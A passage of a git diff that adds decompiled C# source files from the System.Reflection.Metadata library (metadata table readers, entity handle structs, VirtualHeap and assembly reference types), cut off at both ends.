TypeDefinitionHandle.FromRowId(num2); + } + + internal TypeDefinitionHandle FindTypeContainingField(int fieldDefOrPtrRowId, int numberOfFields) + { + int numberOfRows = NumberOfRows; + int num = Block.BinarySearchForSlot(numberOfRows, RowSize, _FieldListOffset, (uint)fieldDefOrPtrRowId, _IsFieldRefSizeSmall); + int num2 = num + 1; + if (num2 == 0) + { + return default(TypeDefinitionHandle); + } + if (num2 > numberOfRows) + { + if (fieldDefOrPtrRowId <= numberOfFields) + { + return TypeDefinitionHandle.FromRowId(numberOfRows); + } + return default(TypeDefinitionHandle); + } + int fieldStart = GetFieldStart(num2); + if (fieldStart == fieldDefOrPtrRowId) + { + while (num2 < numberOfRows) + { + int num3 = num2 + 1; + fieldStart = GetFieldStart(num3); + if (fieldStart != fieldDefOrPtrRowId) + { + break; + } + num2 = num3; + } + } + return TypeDefinitionHandle.FromRowId(num2); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeDefTreatment.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeDefTreatment.cs new file mode 100644 index 0000000..89359d0 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeDefTreatment.cs @@ -0,0 +1,16 @@ +namespace System.Reflection.Metadata.Ecma335; + +[Flags] +internal enum TypeDefTreatment : byte +{ + None = 0, + KindMask = 0xF, + NormalNonAttribute = 1, + NormalAttribute = 2, + UnmangleWinRTName = 3, + PrefixWinRTName = 4, + RedirectedToClrType = 5, + RedirectedToClrAttribute = 6, + MarkAbstractFlag = 0x10, + MarkInternalFlag = 0x20 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeOrMethodDefTag.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeOrMethodDefTag.cs new file mode 100644 index 0000000..7dcd379 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeOrMethodDefTag.cs @@ -0,0 +1,42 @@ +using System.Runtime.CompilerServices; + +namespace System.Reflection.Metadata.Ecma335; + +internal static class TypeOrMethodDefTag +{ + internal const int NumberOfBits = 1; + + internal const int LargeRowSize = 32768; + + internal const uint TypeDef = 0u; + + internal const uint MethodDef = 1u; + + internal const uint TagMask = 1u; + + internal const uint TagToTokenTypeByteVector = 1538u; + + internal const TableMask TablesReferenced = TableMask.TypeDef | TableMask.MethodDef; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static EntityHandle ConvertToHandle(uint typeOrMethodDef) + { + uint num = (uint)(1538 >>> (int)((typeOrMethodDef & 1) << 3) << 24); + uint num2 = typeOrMethodDef >> 1; + if ((num2 & 0xFF000000u) != 0) + { + Throw.InvalidCodedIndex(); + } + return new EntityHandle(num | num2); + } + + internal static uint ConvertTypeDefRowIdToTag(TypeDefinitionHandle typeDef) + { + return (uint)((typeDef.RowId << 1) | 0); + } + + internal static uint ConvertMethodDefToTag(MethodDefinitionHandle methodDef) + { + return (uint)((methodDef.RowId << 1) | 1); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeRefSignatureTreatment.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeRefSignatureTreatment.cs new file mode 100644 index 0000000..c5e0394 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeRefSignatureTreatment.cs @@ -0,0 +1,8 @@ +namespace System.Reflection.Metadata.Ecma335; + +internal enum TypeRefSignatureTreatment : byte +{ + None, + ProjectedToClass, + ProjectedToValueType +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeRefTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeRefTableReader.cs new file mode 100644 index 0000000..ed8b00f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeRefTableReader.cs @@ -0,0 +1,52 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct TypeRefTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsResolutionScopeRefSizeSmall; + + private readonly bool _IsStringHeapRefSizeSmall; + + private readonly int _ResolutionScopeOffset; + + private readonly int _NameOffset; + + private readonly int _NamespaceOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal TypeRefTableReader(int numberOfRows, int resolutionScopeRefSize, int stringHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsResolutionScopeRefSizeSmall = resolutionScopeRefSize == 2; + _IsStringHeapRefSizeSmall = stringHeapRefSize == 2; + _ResolutionScopeOffset = 0; + _NameOffset = _ResolutionScopeOffset + resolutionScopeRefSize; + _NamespaceOffset = _NameOffset + stringHeapRefSize; + RowSize = _NamespaceOffset + stringHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal EntityHandle GetResolutionScope(TypeReferenceHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return ResolutionScopeTag.ConvertToHandle(Block.PeekTaggedReference(num + _ResolutionScopeOffset, _IsResolutionScopeRefSizeSmall)); + } + + internal StringHandle GetName(TypeReferenceHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return StringHandle.FromOffset(Block.PeekHeapReference(num + _NameOffset, _IsStringHeapRefSizeSmall)); + } + + internal StringHandle GetNamespace(TypeReferenceHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return StringHandle.FromOffset(Block.PeekHeapReference(num + _NamespaceOffset, _IsStringHeapRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeRefTreatment.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeRefTreatment.cs new file mode 100644 index 0000000..4b7642f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeRefTreatment.cs @@ -0,0 +1,9 @@ +namespace System.Reflection.Metadata.Ecma335; + +internal enum TypeRefTreatment : byte +{ + None, + SystemDelegate, + SystemAttribute, + UseProjectionInfo +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeSpecTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeSpecTableReader.cs new file mode 100644 index 0000000..8541c27 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/TypeSpecTableReader.cs @@ -0,0 +1,31 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct TypeSpecTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsBlobHeapRefSizeSmall; + + private readonly int _SignatureOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal TypeSpecTableReader(int numberOfRows, int blobHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsBlobHeapRefSizeSmall = blobHeapRefSize == 2; + _SignatureOffset = 0; + RowSize = _SignatureOffset + blobHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal BlobHandle GetSignature(TypeSpecificationHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return BlobHandle.FromOffset(Block.PeekHeapReference(num + _SignatureOffset, _IsBlobHeapRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/UserStringHeap.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/UserStringHeap.cs new file mode 100644 index 0000000..d2de625 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/UserStringHeap.cs @@ -0,0 +1,31 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct UserStringHeap(MemoryBlock block) +{ + internal readonly MemoryBlock Block = block; + + internal string GetString(UserStringHandle handle) + { + if (!Block.PeekHeapValueOffsetAndSize(handle.GetHeapOffset(), out var offset, out var size)) + { + return string.Empty; + } + return Block.PeekUtf16(offset, size & -2); + } + + internal UserStringHandle GetNextHandle(UserStringHandle handle) + { + if (!Block.PeekHeapValueOffsetAndSize(handle.GetHeapOffset(), out var offset, out var size)) + { + return default(UserStringHandle); + } + int num = offset + size; + if (num >= Block.Length) + { + return default(UserStringHandle); + } + return UserStringHandle.FromOffset(num); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/VectorEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/VectorEncoder.cs new file mode 100644 index 0000000..7f614a2 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/VectorEncoder.cs @@ -0,0 +1,21 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct VectorEncoder +{ + public BlobBuilder Builder { get; } + + public VectorEncoder(BlobBuilder builder) + { + Builder = builder; + } + + public LiteralsEncoder Count(int count) + { + if (count < 0) + { + Throw.ArgumentOutOfRange("count"); + } + Builder.WriteUInt32((uint)count); + return new LiteralsEncoder(Builder); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/VirtualHeap.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/VirtualHeap.cs new file mode 100644 index 0000000..7c345dc --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/VirtualHeap.cs @@ -0,0 +1,95 @@ +using System.Collections.Generic; +using System.Reflection.Internal; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Threading; + +namespace System.Reflection.Metadata.Ecma335; + +internal sealed class VirtualHeap : CriticalDisposableObject +{ + private struct PinnedBlob(GCHandle handle, int length) + { + public GCHandle Handle = handle; + + public readonly int Length = length; + + public unsafe MemoryBlock GetMemoryBlock() + { + return new MemoryBlock((byte*)(void*)Handle.AddrOfPinnedObject(), Length); + } + } + + private Dictionary _blobs; + + private VirtualHeap() + { + _blobs = new Dictionary(); + } + + protected override void Release() + { + RuntimeHelpers.PrepareConstrainedRegions(); + try + { + } + finally + { + Dictionary dictionary = Interlocked.Exchange(ref _blobs, null); + if (dictionary != null) + { + foreach (KeyValuePair item in dictionary) + { + item.Value.Handle.Free(); + } + } + } + } + + private Dictionary GetBlobs() + { + Dictionary blobs = _blobs; + if (blobs == null) + { + throw new ObjectDisposedException("VirtualHeap"); + } + return blobs; + } + + public bool TryGetMemoryBlock(uint rawHandle, out MemoryBlock block) + { + if (!GetBlobs().TryGetValue(rawHandle, out var value)) + { + block = default(MemoryBlock); + return false; + } + block = value.GetMemoryBlock(); + return true; + } + + internal MemoryBlock AddBlob(uint rawHandle, byte[] value) + { + Dictionary blobs = GetBlobs(); + RuntimeHelpers.PrepareConstrainedRegions(); + MemoryBlock memoryBlock; + try + { + } + finally + { + PinnedBlob value2 = new PinnedBlob(GCHandle.Alloc(value, GCHandleType.Pinned), value.Length); + blobs.Add(rawHandle, value2); + memoryBlock = value2.GetMemoryBlock(); + } + return memoryBlock; + } + + internal static VirtualHeap GetOrCreateVirtualHeap(ref VirtualHeap? lazyHeap) + { + if (lazyHeap == null) + { + Interlocked.CompareExchange(ref lazyHeap, new VirtualHeap(), null); + } + return lazyHeap; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ArrayShape.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ArrayShape.cs new file mode 100644 index 0000000..c4ddd61 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ArrayShape.cs @@ -0,0 +1,23 @@ +using System.Collections.Immutable; + +namespace System.Reflection.Metadata; + +public readonly struct ArrayShape +{ + public int Rank { get; } + + public ImmutableArray Sizes { get; } + + public ImmutableArray LowerBounds { get; } + + public ArrayShape(int rank, ImmutableArray sizes, ImmutableArray lowerBounds) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + Rank = rank; + Sizes = sizes; + LowerBounds = lowerBounds; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyDefinition.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyDefinition.cs new file mode 100644 index 0000000..18e252a --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyDefinition.cs @@ -0,0 +1,43 @@ +namespace System.Reflection.Metadata; + +public readonly struct AssemblyDefinition +{ + private readonly MetadataReader _reader; + + public AssemblyHashAlgorithm HashAlgorithm => _reader.AssemblyTable.GetHashAlgorithm(); + + public Version Version => _reader.AssemblyTable.GetVersion(); + + public AssemblyFlags Flags => _reader.AssemblyTable.GetFlags(); + + public StringHandle Name => _reader.AssemblyTable.GetName(); + + public StringHandle Culture => _reader.AssemblyTable.GetCulture(); + + public BlobHandle PublicKey => _reader.AssemblyTable.GetPublicKey(); + + public AssemblyName GetAssemblyName() + { + AssemblyFlags assemblyFlags = Flags; + if (!PublicKey.IsNil) + { + assemblyFlags |= AssemblyFlags.PublicKey; + } + return _reader.GetAssemblyName(Name, Version, Culture, PublicKey, HashAlgorithm, assemblyFlags); + } + + internal AssemblyDefinition(MetadataReader reader) + { + _reader = reader; + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + return new CustomAttributeHandleCollection(_reader, EntityHandle.AssemblyDefinition); + } + + public DeclarativeSecurityAttributeHandleCollection GetDeclarativeSecurityAttributes() + { + return new DeclarativeSecurityAttributeHandleCollection(_reader, EntityHandle.AssemblyDefinition); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyDefinitionHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyDefinitionHandle.cs new file mode 100644 index 0000000..2efed23 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyDefinitionHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct AssemblyDefinitionHandle : IEquatable +{ + private const uint tokenType = 536870912u; + + private const byte tokenTypeSmall = 32; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + internal AssemblyDefinitionHandle(int rowId) + { + _rowId = rowId; + } + + internal static AssemblyDefinitionHandle FromRowId(int rowId) + { + return new AssemblyDefinitionHandle(rowId); + } + + public static implicit operator Handle(AssemblyDefinitionHandle handle) + { + return new Handle(32, handle._rowId); + } + + public static implicit operator EntityHandle(AssemblyDefinitionHandle handle) + { + return new EntityHandle((uint)(0x20000000uL | (ulong)handle._rowId)); + } + + public static explicit operator AssemblyDefinitionHandle(Handle handle) + { + if (handle.VType != 32) + { + Throw.InvalidCast(); + } + return new AssemblyDefinitionHandle(handle.RowId); + } + + public static explicit operator AssemblyDefinitionHandle(EntityHandle handle) + { + if (handle.VType != 536870912) + { + Throw.InvalidCast(); + } + return new AssemblyDefinitionHandle(handle.RowId); + } + + public static bool operator ==(AssemblyDefinitionHandle left, AssemblyDefinitionHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is AssemblyDefinitionHandle) + { + return ((AssemblyDefinitionHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(AssemblyDefinitionHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(AssemblyDefinitionHandle left, AssemblyDefinitionHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyFile.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyFile.cs new file mode 100644 index 0000000..dd00cae --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyFile.cs @@ -0,0 +1,27 @@ +namespace System.Reflection.Metadata; + +public readonly struct AssemblyFile +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private AssemblyFileHandle Handle => AssemblyFileHandle.FromRowId(_rowId); + + public bool ContainsMetadata => _reader.FileTable.GetFlags(Handle) == 0; + + public StringHandle Name => _reader.FileTable.GetName(Handle); + + public BlobHandle HashValue => _reader.FileTable.GetHashValue(Handle); + + internal AssemblyFile(MetadataReader reader, AssemblyFileHandle handle) + { + _reader = reader; + _rowId = handle.RowId; + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + return new CustomAttributeHandleCollection(_reader, Handle); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyFileHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyFileHandle.cs new file mode 100644 index 0000000..be9fa81 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyFileHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct AssemblyFileHandle : IEquatable +{ + private const uint tokenType = 637534208u; + + private const byte tokenTypeSmall = 38; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private AssemblyFileHandle(int rowId) + { + _rowId = rowId; + } + + internal static AssemblyFileHandle FromRowId(int rowId) + { + return new AssemblyFileHandle(rowId); + } + + public static implicit operator Handle(AssemblyFileHandle handle) + { + return new Handle(38, handle._rowId); + } + + public static implicit operator EntityHandle(AssemblyFileHandle handle) + { + return new EntityHandle((uint)(0x26000000uL | (ulong)handle._rowId)); + } + + public static explicit operator AssemblyFileHandle(Handle handle) + { + if (handle.VType != 38) + { + Throw.InvalidCast(); + } + return new AssemblyFileHandle(handle.RowId); + } + + public static explicit operator AssemblyFileHandle(EntityHandle handle) + { + if (handle.VType != 637534208) + { + Throw.InvalidCast(); + } + return new AssemblyFileHandle(handle.RowId); + } + + public static bool operator ==(AssemblyFileHandle left, AssemblyFileHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is AssemblyFileHandle) + { + return ((AssemblyFileHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(AssemblyFileHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(AssemblyFileHandle left, AssemblyFileHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyFileHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyFileHandleCollection.cs new file mode 100644 index 0000000..6e5c851 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyFileHandleCollection.cs @@ -0,0 +1,70 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct AssemblyFileHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public AssemblyFileHandle Current => AssemblyFileHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + + object IEnumerator.Current => Current; + + internal Enumerator(int lastRowId) + { + _lastRowId = lastRowId; + _currentRowId = 0; + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly int _lastRowId; + + public int Count => _lastRowId; + + internal AssemblyFileHandleCollection(int lastRowId) + { + _lastRowId = lastRowId; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyReference.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyReference.cs new file mode 100644 index 0000000..b7fe626 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyReference.cs @@ -0,0 +1,164 @@ +namespace System.Reflection.Metadata; + +public readonly struct AssemblyReference +{ + private readonly MetadataReader _reader; + + private readonly uint _treatmentAndRowId; + + private static readonly Version s_version_4_0_0_0 = new Version(4, 0, 0, 0); + + private int RowId => (int)(_treatmentAndRowId & 0xFFFFFF); + + private bool IsVirtual => (_treatmentAndRowId & 0x80000000u) != 0; + + public Version Version + { + get + { + if (IsVirtual) + { + return GetVirtualVersion(); + } + if (RowId == _reader.WinMDMscorlibRef) + { + return s_version_4_0_0_0; + } + return _reader.AssemblyRefTable.GetVersion(RowId); + } + } + + public AssemblyFlags Flags + { + get + { + if (IsVirtual) + { + return GetVirtualFlags(); + } + return _reader.AssemblyRefTable.GetFlags(RowId); + } + } + + public StringHandle Name + { + get + { + if (IsVirtual) + { + return GetVirtualName(); + } + return _reader.AssemblyRefTable.GetName(RowId); + } + } + + public StringHandle Culture + { + get + { + if (IsVirtual) + { + return GetVirtualCulture(); + } + return _reader.AssemblyRefTable.GetCulture(RowId); + } + } + + public BlobHandle PublicKeyOrToken + { + get + { + if (IsVirtual) + { + return GetVirtualPublicKeyOrToken(); + } + return _reader.AssemblyRefTable.GetPublicKeyOrToken(RowId); + } + } + + public BlobHandle HashValue + { + get + { + if (IsVirtual) + { + return GetVirtualHashValue(); + } + return _reader.AssemblyRefTable.GetHashValue(RowId); + } + } + + public AssemblyName GetAssemblyName() + { + return _reader.GetAssemblyName(Name, Version, Culture, PublicKeyOrToken, AssemblyHashAlgorithm.None, Flags); + } + + internal AssemblyReference(MetadataReader reader, uint treatmentAndRowId) + { + _reader = reader; + _treatmentAndRowId = treatmentAndRowId; + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + if (IsVirtual) + { + return GetVirtualCustomAttributes(); + } + return new CustomAttributeHandleCollection(_reader, AssemblyReferenceHandle.FromRowId(RowId)); + } + + private static Version GetVirtualVersion() + { + return s_version_4_0_0_0; + } + + private AssemblyFlags GetVirtualFlags() + { + return _reader.AssemblyRefTable.GetFlags(_reader.WinMDMscorlibRef); + } + + private StringHandle GetVirtualName() + { + return StringHandle.FromVirtualIndex(GetVirtualNameIndex((AssemblyReferenceHandle.VirtualIndex)RowId)); + } + + private static StringHandle.VirtualIndex GetVirtualNameIndex(AssemblyReferenceHandle.VirtualIndex index) + { + return index switch + { + AssemblyReferenceHandle.VirtualIndex.System_ObjectModel => StringHandle.VirtualIndex.System_ObjectModel, + AssemblyReferenceHandle.VirtualIndex.System_Runtime => StringHandle.VirtualIndex.System_Runtime, + AssemblyReferenceHandle.VirtualIndex.System_Runtime_InteropServices_WindowsRuntime => StringHandle.VirtualIndex.System_Runtime_InteropServices_WindowsRuntime, + AssemblyReferenceHandle.VirtualIndex.System_Runtime_WindowsRuntime => StringHandle.VirtualIndex.System_Runtime_WindowsRuntime, + AssemblyReferenceHandle.VirtualIndex.System_Runtime_WindowsRuntime_UI_Xaml => StringHandle.VirtualIndex.System_Runtime_WindowsRuntime_UI_Xaml, + AssemblyReferenceHandle.VirtualIndex.System_Numerics_Vectors => StringHandle.VirtualIndex.System_Numerics_Vectors, + _ => StringHandle.VirtualIndex.System_Runtime_WindowsRuntime, + }; + } + + private static StringHandle GetVirtualCulture() + { + return default(StringHandle); + } + + private BlobHandle GetVirtualPublicKeyOrToken() + { + AssemblyReferenceHandle.VirtualIndex rowId = (AssemblyReferenceHandle.VirtualIndex)RowId; + if ((uint)(rowId - 3) <= 1u) + { + return _reader.AssemblyRefTable.GetPublicKeyOrToken(_reader.WinMDMscorlibRef); + } + return BlobHandle.FromVirtualIndex(((_reader.AssemblyRefTable.GetFlags(_reader.WinMDMscorlibRef) & AssemblyFlags.PublicKey) == 0) ? BlobHandle.VirtualIndex.ContractPublicKeyToken : BlobHandle.VirtualIndex.ContractPublicKey, 0); + } + + private static BlobHandle GetVirtualHashValue() + { + return default(BlobHandle); + } + + private CustomAttributeHandleCollection GetVirtualCustomAttributes() + { + return new CustomAttributeHandleCollection(_reader, AssemblyReferenceHandle.FromRowId(_reader.WinMDMscorlibRef)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyReferenceHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyReferenceHandle.cs new file mode 100644 index 0000000..a085614 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyReferenceHandle.cs @@ -0,0 +1,104 @@ +namespace System.Reflection.Metadata; + +public readonly struct AssemblyReferenceHandle : IEquatable +{ + internal enum VirtualIndex + { + System_Runtime, + System_Runtime_InteropServices_WindowsRuntime, + System_ObjectModel, + System_Runtime_WindowsRuntime, + System_Runtime_WindowsRuntime_UI_Xaml, + System_Numerics_Vectors, + Count + } + + private const uint tokenType = 587202560u; + + private const byte tokenTypeSmall = 35; + + private readonly uint _value; + + internal uint Value => _value; + + private uint VToken => _value | 0x23000000; + + public bool IsNil => _value == 0; + + internal bool IsVirtual => (_value & 0x80000000u) != 0; + + internal int RowId => (int)(_value & 0xFFFFFF); + + private AssemblyReferenceHandle(uint value) + { + _value = value; + } + + internal static AssemblyReferenceHandle FromRowId(int rowId) + { + return new AssemblyReferenceHandle((uint)rowId); + } + + internal static AssemblyReferenceHandle FromVirtualIndex(VirtualIndex virtualIndex) + { + return new AssemblyReferenceHandle((uint)((VirtualIndex)(-2147483648) | virtualIndex)); + } + + public static implicit operator Handle(AssemblyReferenceHandle handle) + { + return Handle.FromVToken(handle.VToken); + } + + public static implicit operator EntityHandle(AssemblyReferenceHandle handle) + { + return new EntityHandle(handle.VToken); + } + + public static explicit operator AssemblyReferenceHandle(Handle handle) + { + if (handle.Type != 35) + { + Throw.InvalidCast(); + } + return new AssemblyReferenceHandle(handle.SpecificEntityHandleValue); + } + + public static explicit operator AssemblyReferenceHandle(EntityHandle handle) + { + if (handle.Type != 587202560) + { + Throw.InvalidCast(); + } + return new AssemblyReferenceHandle(handle.SpecificHandleValue); + } + + public static bool operator ==(AssemblyReferenceHandle left, AssemblyReferenceHandle right) + { + return left._value == right._value; + } + + public override bool Equals(object? obj) + { + if (obj is AssemblyReferenceHandle) + { + return ((AssemblyReferenceHandle)obj)._value == _value; + } + return false; + } + + public bool Equals(AssemblyReferenceHandle other) + { + return _value == other._value; + } + + public override int GetHashCode() + { + uint value = _value; + return value.GetHashCode(); + } + + public static bool operator !=(AssemblyReferenceHandle left, AssemblyReferenceHandle right) + { + return left._value != right._value; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyReferenceHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyReferenceHandleCollection.cs new file mode 100644 index 0000000..a0ec71e --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/AssemblyReferenceHandleCollection.cs @@ -0,0 +1,93 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct AssemblyReferenceHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly MetadataReader _reader; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + private int _virtualRowId; + + public AssemblyReferenceHandle Current + { + get + { + if (_virtualRowId >= 0) + { + if (_virtualRowId == 16777216) + { + return default(AssemblyReferenceHandle); + } + return AssemblyReferenceHandle.FromVirtualIndex((AssemblyReferenceHandle.VirtualIndex)_virtualRowId); + } + return AssemblyReferenceHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + } + } + + object IEnumerator.Current => Current; + + internal Enumerator(MetadataReader reader) + { + _reader = reader; + _currentRowId = 0; + _virtualRowId = -1; + } + + public bool MoveNext() + { + if (_currentRowId < _reader.AssemblyRefTable.NumberOfNonVirtualRows) + { + _currentRowId++; + return true; + } + if (_virtualRowId < _reader.AssemblyRefTable.NumberOfVirtualRows - 1) + { + _virtualRowId++; + return true; + } + _currentRowId = 16777216; + _virtualRowId = 16777216; + return false; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly MetadataReader _reader; + + public int Count => _reader.AssemblyRefTable.NumberOfNonVirtualRows + _reader.AssemblyRefTable.NumberOfVirtualRows; + + internal AssemblyReferenceHandleCollection(MetadataReader reader) + { + _reader = reader; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_reader); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/Blob.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/Blob.cs new file mode 100644 index 0000000..d610af6 --- /dev/null +++ 